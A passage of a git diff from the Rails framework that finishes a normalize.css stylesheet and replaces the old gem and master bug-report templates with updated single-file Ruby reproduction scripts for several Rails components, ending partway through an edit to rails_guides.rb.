+    outline: 1px dotted ButtonText;
+  }
+  
+  /**
+   * Correct the padding in Firefox.
+   */
+  
+  fieldset {
+    padding: 0.35em 0.75em 0.625em;
+  }
+  
+  /**
+   * 1. Correct the text wrapping in Edge and IE.
+   * 2. Correct the color inheritance from `fieldset` elements in IE.
+   * 3. Remove the padding so developers are not caught out when they zero out
+   *    `fieldset` elements in all browsers.
+   */
+  
+  legend {
+    box-sizing: border-box; /* 1 */
+    color: inherit; /* 2 */
+    display: table; /* 1 */
+    max-width: 100%; /* 1 */
+    padding: 0; /* 3 */
+    white-space: normal; /* 1 */
+  }
+  
+  /**
+   * Add the correct vertical alignment in Chrome, Firefox, and Opera.
+   */
+  
+  progress {
+    vertical-align: baseline;
+  }
+  
+  /**
+   * Remove the default vertical scrollbar in IE 10+.
+   */
+  
+  textarea {
+    overflow: auto;
+  }
+  
+  /**
+   * 1. Add the correct box sizing in IE 10.
+   * 2. Remove the padding in IE 10.
+   */
+  
+  [type="checkbox"],
+  [type="radio"] {
+    box-sizing: border-box; /* 1 */
+    padding: 0; /* 2 */
+  }
+  
+  /**
+   * Correct the cursor style of increment and decrement buttons in Chrome.
+   */
+  
+  [type="number"]::-webkit-inner-spin-button,
+  [type="number"]::-webkit-outer-spin-button {
+    height: auto;
+  }
+  
+  /**
+   * 1. Correct the odd appearance in Chrome and Safari.
+   * 2. Correct the outline style in Safari.
+   */
+  
+  [type="search"] {
+    -webkit-appearance: textfield; /* 1 */
+    outline-offset: -2px; /* 2 */
+  }
+  
+  /**
+   * Remove the inner padding in Chrome and Safari on macOS.
+   */
+  
+  [type="search"]::-webkit-search-decoration {
+    -webkit-appearance: none;
+  }
+  
+  /**
+   * 1. Correct the inability to style clickable types in iOS and Safari.
+   * 2. Change font properties to `inherit` in Safari.
+   */
+  
+  ::-webkit-file-upload-button {
+    -webkit-appearance: button; /* 1 */
+    font: inherit; /* 2 */
+  }
+  
+  /* Interactive
+     ========================================================================== */
+  
+  /*
+   * Add the correct display in Edge, IE 10+, and Firefox.
+   */
+  
+  details {
+    display: block;
+  }
+  
+  /*
+   * Add the correct display in all browsers.
+   */
+  
+  summary {
+    display: list-item;
+  }
+  
+  /* Misc
+     ========================================================================== */
+  
+  /**
+   * Add the correct display in IE 10+.
+   */
+  
+  template {
+    display: none;
+  }
+  
+  /**
+   * Add the correct display in IE 10.
+   */
+  
+  [hidden] {
+    display: none;
+  }
\ No newline at end of file
diff --git a/guides/bin/test b/guides/bin/test
new file mode 100755
index 0000000000000..c53377cc970f4
--- /dev/null
+++ b/guides/bin/test
@@ -0,0 +1,5 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+COMPONENT_ROOT = File.expand_path("..", __dir__)
+require_relative "../../tools/test"
diff --git a/guides/bug_report_templates/action_controller.rb b/guides/bug_report_templates/action_controller.rb
new file mode 100644
index 0000000000000..e7425b8ea2a71
--- /dev/null
+++ b/guides/bug_report_templates/action_controller.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+require "bundler/inline"
+
+gemfile(true) do
+  source "https://rubygems.org"
+
+  gem "rails"
+  # If you want to test against edge Rails replace the previous line with this:
+  # gem "rails", github: "rails/rails", branch: "main"
+end
+
+require "action_controller/railtie"
+require "minitest/autorun"
+require "rack/test"
+
+class TestApp < Rails::Application
+  config.load_defaults Rails::VERSION::STRING.to_f
+  config.root = __dir__
+  config.eager_load = false
+  config.hosts << "example.org"
+  config.secret_key_base = "secret_key_base"
+
+  config.logger = Logger.new($stdout)
+end
+Rails.application.initialize!
+
+Rails.application.routes.draw do
+  get "/", to: "test#index"
+end
+
+class TestController < ActionController::Base
+  include Rails.application.routes.url_helpers
+
+  def index
+    render plain: "Home"
+  end
+end
+
+class BugTest < ActiveSupport::TestCase
+  include Rack::Test::Methods
+
+  def test_returns_success
+    get "/"
+    assert last_response.ok?
+    assert_equal last_response.body, "Home"
+  end
+
+  private
+    def app
+      Rails.application
+    end
+end
diff --git a/guides/bug_report_templates/action_controller_gem.rb b/guides/bug_report_templates/action_controller_gem.rb
deleted file mode 100644
index 85d698f81bcdc..0000000000000
--- a/guides/bug_report_templates/action_controller_gem.rb
+++ /dev/null
@@ -1,56 +0,0 @@
-begin
-  require "bundler/inline"
-rescue LoadError => e
-  $stderr.puts "Bundler version 1.10 or later is required. Please update your Bundler"
-  raise e
-end
-
-gemfile(true) do
-  source "https://rubygems.org"
-  # Activate the gem you are reporting the issue against.
-  gem "rails", "5.0.1"
-end
-
-require "rack/test"
-require "action_controller/railtie"
-
-class TestApp < Rails::Application
-  config.root = File.dirname(__FILE__)
-  config.session_store :cookie_store, key: "cookie_store_key"
-  secrets.secret_token    = "secret_token"
-  secrets.secret_key_base = "secret_key_base"
-
-  config.logger = Logger.new($stdout)
-  Rails.logger  = config.logger
-
-  routes.draw do
-    get "/" => "test#index"
-  end
-end
-
-class TestController < ActionController::Base
-  include Rails.application.routes.url_helpers
-
-  def index
-    render plain: "Home"
-  end
-end
-
-require "minitest/autorun"
-
-# Ensure backward compatibility with Minitest 4
-Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
-
-class BugTest < Minitest::Test
-  include Rack::Test::Methods
-
-  def test_returns_success
-    get "/"
-    assert last_response.ok?
-  end
-
-  private
-    def app
-      Rails.application
-    end
-end
diff --git a/guides/bug_report_templates/action_controller_master.rb b/guides/bug_report_templates/action_controller_master.rb
deleted file mode 100644
index 7644f6fe4acce..0000000000000
--- a/guides/bug_report_templates/action_controller_master.rb
+++ /dev/null
@@ -1,52 +0,0 @@
-begin
-  require "bundler/inline"
-rescue LoadError => e
-  $stderr.puts "Bundler version 1.10 or later is required. Please update your Bundler"
-  raise e
-end
-
-gemfile(true) do
-  source "https://rubygems.org"
-  gem "rails", github: "rails/rails"
-  gem "arel", github: "rails/arel"
-end
-
-require "action_controller/railtie"
-
-class TestApp < Rails::Application
-  config.root = File.dirname(__FILE__)
-  secrets.secret_token    = "secret_token"
-  secrets.secret_key_base = "secret_key_base"
-
-  config.logger = Logger.new($stdout)
-  Rails.logger  = config.logger
-
-  routes.draw do
-    get "/" => "test#index"
-  end
-end
-
-class TestController < ActionController::Base
-  include Rails.application.routes.url_helpers
-
-  def index
-    render plain: "Home"
-  end
-end
-
-require "minitest/autorun"
-require "rack/test"
-
-class BugTest < Minitest::Test
-  include Rack::Test::Methods
-
-  def test_returns_success
-    get "/"
-    assert last_response.ok?
-  end
-
-  private
-    def app
-      Rails.application
-    end
-end
diff --git a/guides/bug_report_templates/action_mailbox.rb b/guides/bug_report_templates/action_mailbox.rb
new file mode 100644
index 0000000000000..015e439b0212d
--- /dev/null
+++ b/guides/bug_report_templates/action_mailbox.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+require "bundler/inline"
+
+gemfile(true) do
+  source "https://rubygems.org"
+
+  gem "rails"
+  # If you want to test against edge Rails replace the previous line with this:
+  # gem "rails", github: "rails/rails", branch: "main"
+
+  gem "sqlite3"
+  gem "net-smtp", github: "ruby/net-smtp", ref: "d496a829f9b99adb44ecc1768c4d005e5f7b779e", require: false
+end
+
+require "active_record/railtie"
+require "active_storage/engine"
+require "action_mailbox/engine"
+
+ENV["DATABASE_URL"] = "sqlite3::memory:"
+
+class TestApp < Rails::Application
+  config.load_defaults Rails::VERSION::STRING.to_f
+
+  config.root = __dir__
+  config.hosts << "example.org"
+  config.eager_load = false
+  config.session_store :cookie_store, key: "cookie_store_key"
+  config.secret_key_base = "secret_key_base"
+
+  config.logger = Logger.new($stdout)
+
+  config.active_storage.service = :local
+  config.active_storage.service_configurations = {
+    local: {
+      root: Dir.tmpdir,
+      service: "Disk"
+    }
+  }
+
+  config.action_mailbox.ingress = :relay
+end
+Rails.application.initialize!
+
+require ActiveStorage::Engine.root.join("db/migrate/20170806125915_create_active_storage_tables.rb").to_s
+require ActionMailbox::Engine.root.join("db/migrate/20180917164000_create_action_mailbox_tables.rb").to_s
+
+ActiveRecord::Schema.define do
+  CreateActiveStorageTables.new.change
+  CreateActionMailboxTables.new.change
+end
+
+class ApplicationMailbox < ActionMailbox::Base
+  routing (/^replies@/i) => :replies
+end
+
+class RepliesMailbox < ActionMailbox::Base
+  def process
+    $processed = mail.subject
+  end
+end
+
+require "minitest/autorun"
+
+class RepliesMailboxTest < ActionMailbox::TestCase
+  setup do
+    $processed = false
+    @inbound_email = receive_inbound_email_from_mail \
+      to: "replies@example.com", subject: "Here is a reply"
+  end
+
+  test "successful mailbox processing" do
+    assert_equal "Here is a reply", $processed
+  end
+end
diff --git a/guides/bug_report_templates/action_mailer.rb b/guides/bug_report_templates/action_mailer.rb
new file mode 100644
index 0000000000000..6f986ae21d8e5
--- /dev/null
+++ b/guides/bug_report_templates/action_mailer.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require "bundler/inline"
+
+gemfile(true) do
+  source "https://rubygems.org"
+
+  gem "rails"
+  # If you want to test against edge Rails replace the previous line with this:
+  # gem "rails", github: "rails/rails", branch: "main"
+  gem "net-smtp", github: "ruby/net-smtp", ref: "d496a829f9b99adb44ecc1768c4d005e5f7b779e", require: false
+end
+
+require "action_mailer/railtie"
+require "minitest/autorun"
+
+class TestApp < Rails::Application
+  config.load_defaults Rails::VERSION::STRING.to_f
+  config.root = __dir__
+  config.eager_load = false
+  config.hosts << "example.org"
+  config.secret_key_base = "secret_key_base"
+
+  config.logger = Logger.new($stdout)
+end
+Rails.application.initialize!
+
+class TestMailer < ActionMailer::Base
+  def hello_world
+    @message = "Hello, world"
+
+    mail from: "test@example.com", to: "user@example.com" do |format|
+      format.html { render inline: "<h1><%= @message %></h1>" }
+      format.text { render inline: "<%= @message %>" }
+    end
+  end
+end
+
+class BugTest < ActionMailer::TestCase
+  test "renders HTML and Text body" do
+    email = TestMailer.hello_world
+
+    email.deliver_now
+
+    assert_dom_email do
+      assert_dom "h1", text: "Hello, world"
+    end
+    assert_includes email.text_part.body, "Hello, world"
+  end
+end
diff --git a/guides/bug_report_templates/action_view.rb b/guides/bug_report_templates/action_view.rb
new file mode 100644
index 0000000000000..ba01666349f2f
--- /dev/null
+++ b/guides/bug_report_templates/action_view.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require "bundler/inline"
+
+gemfile(true) do
+  source "https://rubygems.org"
+
+  gem "rails"
+  # If you want to test against edge Rails replace the previous line with this:
+  # gem "rails", github: "rails/rails", branch: "main"
+end
+
+require "action_controller/railtie"
+require "action_view/railtie"
+require "minitest/autorun"
+
+class TestApp < Rails::Application
+  config.load_defaults Rails::VERSION::STRING.to_f
+  config.eager_load = false
+  config.logger = Logger.new($stdout)
+  config.secret_key_base = "secret_key_base"
+end
+Rails.application.initialize!
+
+class BugTest < ActionView::TestCase
+  helper do
+    def upcase(value)
+      value.upcase
+    end
+  end
+
+  def test_stuff
+    render inline: <<~ERB, locals: { key: "value" }
+      <p><%= upcase(key) %></p>
+    ERB
+
+    element = rendered.html.at("p")
+
+    assert_equal element.text, "VALUE"
+  end
+end
diff --git a/guides/bug_report_templates/active_job.rb b/guides/bug_report_templates/active_job.rb
new file mode 100644
index 0000000000000..b0bdce7c1324d
--- /dev/null
+++ b/guides/bug_report_templates/active_job.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require "bundler/inline"
+
+gemfile(true) do
+  source "https://rubygems.org"
+
+  gem "rails"
+  # If you want to test against edge Rails replace the previous line with this:
+  # gem "rails", github: "rails/rails", branch: "main"
+end
+
+require "active_job/railtie"
+require "minitest/autorun"
+
+class TestApp < Rails::Application
+  config.load_defaults Rails::VERSION::STRING.to_f
+  config.eager_load = false
+  config.secret_key_base = "secret_key_base"
+  config.active_job.queue_adapter = :test
+
+  config.logger = Logger.new($stdout)
+end
+Rails.application.initialize!
+
+class BuggyJob < ActiveJob::Base
+  def perform
+    puts "performed"
+  end
+end
+
+class BuggyJobTest < ActiveJob::TestCase
+  def test_stuff
+    assert_enqueued_with(job: BuggyJob) do
+      BuggyJob.perform_later
+    end
+  end
+end
diff --git a/guides/bug_report_templates/active_job_gem.rb b/guides/bug_report_templates/active_job_gem.rb
deleted file mode 100644
index f715caec95c79..0000000000000
--- a/guides/bug_report_templates/active_job_gem.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-begin
-  require "bundler/inline"
-rescue LoadError => e
-  $stderr.puts "Bundler version 1.10 or later is required. Please update your Bundler"
-  raise e
-end
-
-gemfile(true) do
-  source "https://rubygems.org"
-  # Activate the gem you are reporting the issue against.
-  gem "activejob", "5.0.1"
-end
-
-require "minitest/autorun"
-require "active_job"
-
-# Ensure backward compatibility with Minitest 4
-Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
-
-class BuggyJob < ActiveJob::Base
-  def perform
-    puts "performed"
-  end
-end
-
-class BuggyJobTest < ActiveJob::TestCase
-  def test_stuff
-    assert_enqueued_with(job: BuggyJob) do
-      BuggyJob.perform_later
-    end
-  end
-end
diff --git a/guides/bug_report_templates/active_job_master.rb b/guides/bug_report_templates/active_job_master.rb
deleted file mode 100644
index 7591470440a7b..0000000000000
--- a/guides/bug_report_templates/active_job_master.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-begin
-  require "bundler/inline"
-rescue LoadError => e
-  $stderr.puts "Bundler version 1.10 or later is required. Please update your Bundler"
-  raise e
-end
-
-gemfile(true) do
-  source "https://rubygems.org"
-  gem "rails", github: "rails/rails"
-  gem "arel", github: "rails/arel"
-end
-
-require "active_job"
-require "minitest/autorun"
-
-# Ensure backward compatibility with Minitest 4
-Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
-
-class BuggyJob < ActiveJob::Base
-  def perform
-    puts "performed"
-  end
-end
-
-class BuggyJobTest < ActiveJob::TestCase
-  def test_stuff
-    assert_enqueued_with(job: BuggyJob) do
-      BuggyJob.perform_later
-    end
-  end
-end
diff --git a/guides/bug_report_templates/active_record.rb b/guides/bug_report_templates/active_record.rb
new file mode 100644
index 0000000000000..956044e557db6
--- /dev/null
+++ b/guides/bug_report_templates/active_record.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+require "bundler/inline"
+
+gemfile(true) do
+  source "https://rubygems.org"
+
+  gem "rails"
+  # If you want to test against edge Rails replace the previous line with this:
+  # gem "rails", github: "rails/rails", branch: "main"
+
+  gem "sqlite3"
+end
+
+require "active_record/railtie"
+require "minitest/autorun"
+
+# This connection will do for database-independent bug reports.
+ENV["DATABASE_URL"] = "sqlite3::memory:"
+
+class TestApp < Rails::Application
+  config.load_defaults Rails::VERSION::STRING.to_f
+  config.eager_load = false
+  config.logger = Logger.new($stdout)
+  config.secret_key_base = "secret_key_base"
+
+  config.active_record.encryption.primary_key = "primary_key"
+  config.active_record.encryption.deterministic_key = "deterministic_key"
+  config.active_record.encryption.key_derivation_salt = "key_derivation_salt"
+end
+Rails.application.initialize!
+
+ActiveRecord::Schema.define do
+  create_table :posts, force: true do |t|
+  end
+
+  create_table :comments, force: true do |t|
+    t.integer :post_id
+  end
+end
+
+class Post < ActiveRecord::Base
+  has_many :comments
+end
+
+class Comment < ActiveRecord::Base
+  belongs_to :post
+end
+
+class BugTest < ActiveSupport::TestCase
+  def test_association_stuff
+    post = Post.create!
+    post.comments.create!
+
+    assert_equal 1, post.comments.count
+    assert_equal 1, Comment.count
+    assert_equal post.id, Comment.first.post.id
+  end
+end
diff --git a/guides/bug_report_templates/active_record_gem.rb b/guides/bug_report_templates/active_record_gem.rb
deleted file mode 100644
index 98edcb76b1cea..0000000000000
--- a/guides/bug_report_templates/active_record_gem.rb
+++ /dev/null
@@ -1,52 +0,0 @@
-begin
-  require "bundler/inline"
-rescue LoadError => e
-  $stderr.puts "Bundler version 1.10 or later is required. Please update your Bundler"
-  raise e
-end
-
-gemfile(true) do
-  source "https://rubygems.org"
-  # Activate the gem you are reporting the issue against.
-  gem "activerecord", "5.0.1"
-  gem "sqlite3"
-end
-
-require "active_record"
-require "minitest/autorun"
-require "logger"
-
-# Ensure backward compatibility with Minitest 4
-Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
-
-# This connection will do for database-independent bug reports.
-ActiveRecord::Base.establish_connection(adapter: "sqlite3", database: ":memory:")
-ActiveRecord::Base.logger = Logger.new(STDOUT)
-
-ActiveRecord::Schema.define do
-  create_table :posts, force: true do |t|
-  end
-
-  create_table :comments, force: true do |t|
-    t.integer :post_id
-  end
-end
-
-class Post < ActiveRecord::Base
-  has_many :comments
-end
-
-class Comment < ActiveRecord::Base
-  belongs_to :post
-end
-
-class BugTest < Minitest::Test
-  def test_association_stuff
-    post = Post.create!
-    post.comments << Comment.create!
-
-    assert_equal 1, post.comments.count
-    assert_equal 1, Comment.count
-    assert_equal post.id, Comment.first.post.id
-  end
-end
diff --git a/guides/bug_report_templates/active_record_master.rb b/guides/bug_report_templates/active_record_master.rb
deleted file mode 100644
index 8bbc1ef19e613..0000000000000
--- a/guides/bug_report_templates/active_record_master.rb
+++ /dev/null
@@ -1,49 +0,0 @@
-begin
-  require "bundler/inline"
-rescue LoadError => e
-  $stderr.puts "Bundler version 1.10 or later is required. Please update your Bundler"
-  raise e
-end
-
-gemfile(true) do
-  source "https://rubygems.org"
-  gem "rails", github: "rails/rails"
-  gem "arel", github: "rails/arel"
-  gem "sqlite3"
-end
-
-require "active_record"
-require "minitest/autorun"
-require "logger"
-
-# This connection will do for database-independent bug reports.
-ActiveRecord::Base.establish_connection(adapter: "sqlite3", database: ":memory:")
-ActiveRecord::Base.logger = Logger.new(STDOUT)
-
-ActiveRecord::Schema.define do
-  create_table :posts, force: true do |t|
-  end
-
-  create_table :comments, force: true do |t|
-    t.integer :post_id
-  end
-end
-
-class Post < ActiveRecord::Base
-  has_many :comments
-end
-
-class Comment < ActiveRecord::Base
-  belongs_to :post
-end
-
-class BugTest < Minitest::Test
-  def test_association_stuff
-    post = Post.create!
-    post.comments << Comment.create!
-
-    assert_equal 1, post.comments.count
-    assert_equal 1, Comment.count
-    assert_equal post.id, Comment.first.post.id
-  end
-end
diff --git a/guides/bug_report_templates/active_record_migrations.rb b/guides/bug_report_templates/active_record_migrations.rb
new file mode 100644
index 0000000000000..83fded0e1d740
--- /dev/null
+++ b/guides/bug_report_templates/active_record_migrations.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+require "bundler/inline"
+
+gemfile(true) do
+  source "https://rubygems.org"
+
+  gem "rails"
+  # If you want to test against edge Rails replace the previous line with this:
+  # gem "rails", github: "rails/rails", branch: "main"
+
+  gem "sqlite3"
+end
+
+require "active_record/railtie"
+require "minitest/autorun"
+
+# This connection will do for database-independent bug reports.
+ENV["DATABASE_URL"] = "sqlite3::memory:"
+
+class TestApp < Rails::Application
+  config.load_defaults Rails::VERSION::STRING.to_f
+  config.eager_load = false
+  config.logger = Logger.new($stdout)
+  config.secret_key_base = "secret_key_base"
+end
+Rails.application.initialize!
+
+ActiveRecord::Schema.define do
+  create_table :payments, force: true do |t|
+    t.decimal :amount, precision: 10, scale: 0, default: 0, null: false
+  end
+end
+
+class Payment < ActiveRecord::Base
+end
+
+class ChangeAmountToAddScale < ActiveRecord::Migration::Current # or use a specific version via `Migration[number]`
+  def change
+    reversible do |dir|
+      dir.up do
+        change_column :payments, :amount, :decimal, precision: 10, scale: 2, default: 0, null: false
+      end
+
+      dir.down do
+        change_column :payments, :amount, :decimal, precision: 10, scale: 0, default: 0, null: false
+      end
+    end
+  end
+end
+
+class BugTest < ActiveSupport::TestCase
+  def test_migration_up
+    ChangeAmountToAddScale.migrate(:up)
+    Payment.reset_column_information
+
+    assert_equal "decimal(10,2)", Payment.columns.last.sql_type
+  end
+
+  def test_migration_down
+    ChangeAmountToAddScale.migrate(:down)
+    Payment.reset_column_information
+
+    assert_equal "decimal(10,0)", Payment.columns.last.sql_type
+  end
+end
diff --git a/guides/bug_report_templates/active_record_migrations_gem.rb b/guides/bug_report_templates/active_record_migrations_gem.rb
deleted file mode 100644
index ece6ae4f12b5b..0000000000000
--- a/guides/bug_report_templates/active_record_migrations_gem.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-begin
-  require "bundler/inline"
-rescue LoadError => e
-  $stderr.puts "Bundler version 1.10 or later is required. Please update your Bundler"
-  raise e
-end
-
-gemfile(true) do
-  source "https://rubygems.org"
-  # Activate the gem you are reporting the issue against.
-  gem "activerecord", "5.0.1"
-  gem "sqlite3"
-end
-
-require "active_record"
-require "minitest/autorun"
-require "logger"
-
-# Ensure backward compatibility with Minitest 4
-Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
-
-# This connection will do for database-independent bug reports.
-ActiveRecord::Base.establish_connection(adapter: "sqlite3", database: ":memory:")
-ActiveRecord::Base.logger = Logger.new(STDOUT)
-
-ActiveRecord::Schema.define do
-  create_table :payments, force: true do |t|
-    t.decimal :amount, precision: 10, scale: 0, default: 0, null: false
-  end
-end
-
-class Payment < ActiveRecord::Base
-end
-
-class ChangeAmountToAddScale < ActiveRecord::Migration[5.0]
-  def change
-    reversible do |dir|
-      dir.up do
-        change_column :payments, :amount, :decimal, precision: 10, scale: 2, default: 0, null: false
-      end
-
-      dir.down do
-        change_column :payments, :amount, :decimal, precision: 10, scale: 0, default: 0, null: false
-      end
-    end
-  end
-end
-
-class BugTest < Minitest::Test
-  def test_migration_up
-    migrator = ActiveRecord::Migrator.new(:up, [ChangeAmountToAddScale])
-    migrator.run
-    Payment.reset_column_information
-
-    assert_equal "decimal(10,2)", Payment.columns.last.sql_type
-  end
-
-  def test_migration_down
-    migrator = ActiveRecord::Migrator.new(:down, [ChangeAmountToAddScale])
-    migrator.run
-    Payment.reset_column_information
-
-    assert_equal "decimal(10,0)", Payment.columns.last.sql_type
-  end
-end
diff --git a/guides/bug_report_templates/active_record_migrations_master.rb b/guides/bug_report_templates/active_record_migrations_master.rb
deleted file mode 100644
index 84a4b7190906f..0000000000000
--- a/guides/bug_report_templates/active_record_migrations_master.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-begin
-  require "bundler/inline"
-rescue LoadError => e
-  $stderr.puts "Bundler version 1.10 or later is required. Please update your Bundler"
-  raise e
-end
-
-gemfile(true) do
-  source "https://rubygems.org"
-  gem "rails", github: "rails/rails"
-  gem "arel", github: "rails/arel"
-  gem "sqlite3"
-end
-
-require "active_record"
-require "minitest/autorun"
-require "logger"
-
-# Ensure backward compatibility with Minitest 4
-Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
-
-# This connection will do for database-independent bug reports.
-ActiveRecord::Base.establish_connection(adapter: "sqlite3", database: ":memory:")
-ActiveRecord::Base.logger = Logger.new(STDOUT)
-
-ActiveRecord::Schema.define do
-  create_table :payments, force: true do |t|
-    t.decimal :amount, precision: 10, scale: 0, default: 0, null: false
-  end
-end
-
-class Payment < ActiveRecord::Base
-end
-
-class ChangeAmountToAddScale < ActiveRecord::Migration[5.0]
-  def change
-    reversible do |dir|
-      dir.up do
-        change_column :payments, :amount, :decimal, precision: 10, scale: 2, default: 0, null: false
-      end
-
-      dir.down do
-        change_column :payments, :amount, :decimal, precision: 10, scale: 0, default: 0, null: false
-      end
-    end
-  end
-end
-
-class BugTest < Minitest::Test
-  def test_migration_up
-    migrator = ActiveRecord::Migrator.new(:up, [ChangeAmountToAddScale])
-    migrator.run
-    Payment.reset_column_information
-
-    assert_equal "decimal(10,2)", Payment.columns.last.sql_type
-  end
-
-  def test_migration_down
-    migrator = ActiveRecord::Migrator.new(:down, [ChangeAmountToAddScale])
-    migrator.run
-    Payment.reset_column_information
-
-    assert_equal "decimal(10,0)", Payment.columns.last.sql_type
-  end
-end
diff --git a/guides/bug_report_templates/active_storage.rb b/guides/bug_report_templates/active_storage.rb
new file mode 100644
index 0000000000000..c0ebb4262b4f6
--- /dev/null
+++ b/guides/bug_report_templates/active_storage.rb
@@ -0,0 +1,69 @@
+# frozen_string_literal: true
+
+require "bundler/inline"
+
+gemfile(true) do
+  source "https://rubygems.org"
+
+  gem "rails"
+  # If you want to test against edge Rails replace the previous line with this:
+  # gem "rails", github: "rails/rails", branch: "main"
+
+  gem "sqlite3"
+end
+
+require "active_record/railtie"
+require "active_storage/engine"
+require "minitest/autorun"
+
+ENV["DATABASE_URL"] = "sqlite3::memory:"
+
+class TestApp < Rails::Application
+  config.load_defaults Rails::VERSION::STRING.to_f
+
+  config.root = __dir__
+  config.hosts << "example.org"
+  config.eager_load = false
+  config.session_store :cookie_store, key: "cookie_store_key"
+  config.secret_key_base = "secret_key_base"
+
+  config.logger = Logger.new($stdout)
+  Rails.logger  = config.logger
+
+  config.active_storage.service = :local
+  config.active_storage.service_configurations = {
+    local: {
+      root: Dir.tmpdir,
+      service: "Disk"
+    }
+  }
+
+  config.active_job.queue_adapter = :inline
+end
+Rails.application.initialize!
+
+require ActiveStorage::Engine.root.join("db/migrate/20170806125915_create_active_storage_tables.rb").to_s
+
+ActiveRecord::Schema.define do
+  CreateActiveStorageTables.new.change
+
+  create_table :users, force: true
+end
+
+class User < ActiveRecord::Base
+  has_one_attached :profile
+end
+
+class BugTest < ActiveSupport::TestCase
+  def test_upload_and_download
+    user = User.create!(
+      profile: {
+        content_type: "text/plain",
+        filename: "dummy.txt",
+        io: ::StringIO.new("dummy"),
+      }
+    )
+
+    assert_equal "dummy", user.profile.download
+  end
+end
diff --git a/guides/bug_report_templates/benchmark.rb b/guides/bug_report_templates/benchmark.rb
index a0b541d012d93..6497ff3ea20aa 100644
--- a/guides/bug_report_templates/benchmark.rb
+++ b/guides/bug_report_templates/benchmark.rb
@@ -1,14 +1,13 @@
-begin
-  require "bundler/inline"
-rescue LoadError => e
-  $stderr.puts "Bundler version 1.10 or later is required. Please update your Bundler"
-  raise e
-end
+# frozen_string_literal: true
+
+require "bundler/inline"
 
 gemfile(true) do
   source "https://rubygems.org"
-  gem "rails", github: "rails/rails"
-  gem "arel", github: "rails/arel"
+
+  gem "rails"
+  # If you want to test against edge Rails replace the previous line with this:
+  # gem "rails", github: "rails/rails", branch: "main"
   gem "benchmark-ips"
 end
 
@@ -30,11 +29,11 @@ def fast_blank?
 # scenarios. Ideally, they should be based on real-world scenarios extracted
 # from production applications.
 SCENARIOS = {
-  "Empty"            => "",
-  "Single Space"     => " ",
-  "Two Spaces"       => "  ",
-  "Mixed Whitspaces" => " \t\r\n",
-  "Very Long String" => " " * 100
+  "Empty"             => "",
+  "Single Space"      => " ",
+  "Two Spaces"        => "  ",
+  "Mixed Whitespaces" => " \t\r\n",
+  "Very Long String"  => " " * 100
 }
 
 SCENARIOS.each_pair do |name, value|
diff --git a/guides/bug_report_templates/generic.rb b/guides/bug_report_templates/generic.rb
new file mode 100644
index 0000000000000..319fabcdb49d1
--- /dev/null
+++ b/guides/bug_report_templates/generic.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require "bundler/inline"
+
+gemfile(true) do
+  source "https://rubygems.org"
+
+  gem "rails"
+  # If you want to test against edge Rails replace the previous line with this:
+  # gem "rails", github: "rails/rails", branch: "main"
+end
+
+require "active_support"
+require "active_support/core_ext/object/blank"
+require "minitest/autorun"
+
+class BugTest < ActiveSupport::TestCase
+  def test_stuff
+    assert "zomg".present?
+    assert_not "".present?
+  end
+end
diff --git a/guides/bug_report_templates/generic_gem.rb b/guides/bug_report_templates/generic_gem.rb
deleted file mode 100644
index fa9f94eea00a9..0000000000000
--- a/guides/bug_report_templates/generic_gem.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-begin
-  require "bundler/inline"
-rescue LoadError => e
-  $stderr.puts "Bundler version 1.10 or later is required. Please update your Bundler"
-  raise e
-end
-
-gemfile(true) do
-  source "https://rubygems.org"
-  # Activate the gem you are reporting the issue against.
-  gem "activesupport", "5.0.1"
-end
-
-require "active_support/core_ext/object/blank"
-require "minitest/autorun"
-
-# Ensure backward compatibility with Minitest 4
-Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
-
-class BugTest < Minitest::Test
-  def test_stuff
-    assert "zomg".present?
-    refute "".present?
-  end
-end
diff --git a/guides/bug_report_templates/generic_master.rb b/guides/bug_report_templates/generic_master.rb
deleted file mode 100644
index ed45726e926d6..0000000000000
--- a/guides/bug_report_templates/generic_master.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-begin
-  require "bundler/inline"
-rescue LoadError => e
-  $stderr.puts "Bundler version 1.10 or later is required. Please update your Bundler"
-  raise e
-end
-
-gemfile(true) do
-  source "https://rubygems.org"
-  gem "rails", github: "rails/rails"
-  gem "arel", github: "rails/arel"
-end
-
-require "active_support"
-require "active_support/core_ext/object/blank"
-require "minitest/autorun"
-
-class BugTest < Minitest::Test
-  def test_stuff
-    assert "zomg".present?
-    refute "".present?
-  end
-end
diff --git a/guides/rails_guides.rb b/guides/rails_guides.rb
index 0f611c8f2b8af..a6257dcacc277 100644
--- a/guides/rails_guides.rb
+++ b/guides/rails_guides.rb
@@ -1,27 +1,5 @@
-$:.unshift __dir__
-
-as_lib = File.expand_path("../activesupport/lib", __dir__)
-ap_lib = File.expand_path("../actionpack/lib", __dir__)
-av_lib = File.expand_path("../actionview/lib", __dir__)
+# frozen_string_literal: true
 
-$:.unshift as_lib if File.directory?(as_lib)
-$:.unshift ap_lib if File.directory?(ap_lib)
-$:.unshift av_lib if File.directory?(av_lib)
+$:.unshift __dir__
 
 require "rails_guides/generator"
-require "active_support/core_ext/object/blank"
-
-env_value = ->(name) { ENV[name].presence }
-env_flag  = ->(name) { "1" == env_value[name] }
-
-version = env_value["RAILS_VERSION"]
-edge    = `git rev-parse HEAD`.strip unless version
-
-RailsGuides::Generator.new(
-  edge:     edge,
-  version:  version,
-  all:      env_flag["ALL"],
-  only:     env_value["ONLY"],
